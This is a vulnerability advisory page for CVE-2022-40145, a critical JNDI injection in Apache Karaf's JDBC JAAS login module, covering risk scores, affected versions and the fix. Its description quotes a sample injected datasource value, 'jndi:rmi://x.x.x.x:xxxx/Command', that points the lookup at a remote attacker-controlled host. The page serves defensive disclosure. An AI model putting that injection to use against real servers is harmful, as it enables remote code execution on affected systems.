CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection
Vulnerability summary
CVE-2022-40145 is a critical (CVSS 9.8) Improper Input Validation vulnerability in apache software foundation apache karaf. EPSS estimates a 2.65% chance of exploitation in the next 30 days, higher than 86.1% of scored vulnerabilities.
Severe, CVSS 9.8 (CVE.org); no exploitation reported by the 5 checked sources; EPSS 3% (FIRST, 04-12-2026)
Source freshness unavailable
How is this decided?Timeline
- 21-12-2022PublishedVulnerability first disclosed.
- 15-04-2025Last modifiedVulnerability information updated.
Description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
CVSS metrics
3 scores · 3 sources · 1 version- OSV · MavenEcosystem advisory · calculated9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- NVDNIST9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS trend
Probability
2.65%
Chance of exploitation in the next 30 days
Percentile
86%
Versus all other CVEs
30-day change
Increase +0.05 pp
From 2.60% on 04-11-2026
Known exploited
Compare KEV catalogsNot in the CISA KEV catalog.
Not in the ENISA CNW catalog.
Not in the CIRCL catalog.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root cause- CWE-20Improper Input ValidationThe product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
- CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream ComponentThe product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
Affected systems
Known conditions: network-reachable, no authentication, no user interaction (CVSS vector). Other conditions: not stated in public data.
Apache1 product
- karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2
Apache software foundation1 product
- apache karaf≥ 4.4.0, < 4.4.2 | < 4.3.8
Org.apache.karaf1 product
- apache-karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2
3 vendors · 3 products
References
7 links- github.com/apache/karafPACKAGE